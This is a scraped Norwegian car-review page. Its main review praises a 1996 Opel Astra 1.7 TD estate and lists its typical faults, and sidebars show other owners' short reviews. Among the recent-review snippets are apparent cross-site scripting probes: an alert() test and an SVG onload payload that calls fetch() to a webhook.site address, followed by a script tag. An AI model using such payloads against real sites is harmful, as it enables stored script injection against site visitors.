1996 Opel Astra 1,7 TD GL Combi-Coupè 4
Vurdert av E.Opel
For oss som ikke må ha en blodsenka sportsbil med 4 millioner hester så er denne bilen knall! Kjøpte denne brukt Juli 2016 og har siden den gang kun byttet olje og filter + registerreim. Vedlikeholdet står jeg for selv. Ellers er det en ekstremt lettskrudd bil som gir fra seg mye glede ved godt vedlikehold. I og med at dette er min fjerde Astra F så har jeg gjort meg noen erfaringer med dem. Understellet er svært holdbart med tanke på rust. Gjengangerfeilene jeg har kommet frem til er: Eksosannlegg som ruster/detter fra hverandre, handbrekk som tar skeivt etterhvert, nærlysrelee som klikker og dynamo som ryker. Med tanke på ytelse så holder bilene her godt følge med trafikken. TDI motoren på 82 hester må justeres opp litt før den blir artig :)
Flere vurderinger fra samme generasjon
Opel Astra (1996)
er veldig forønyd med bilen MEN IKKE SÅ FORNØYD SOM JEG VAR MED DEN VOLVO 340GL SOM JEG ENGANG EIDE MEST PÅ GRUNN AV AT DETTE ER EN FRAM HJULSTREKKER OG JEG LIKER BEST BAK HJULSTREKKER.
Opel Astra (1996)
Alt i alt hatt mye glede av bilen. Kjørt mange år og mange kilometer med den. Bruker som sagt mye olje.
Opel Astra (1995)
veldig driftsikker, billigere bil gjennom 360000 km skal en lete lenge etter
Opel Astra (1994)
Totalt sett fornøyd med bilen .Hatt den i tre år kjøpte den for 4000kr. Lite rust hull i kanal men det går an å fikse ellers minimalt
Opel Astra (1994)
Et godt alternativ for bilkyndige gjør det selv personer.
Flere vurderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
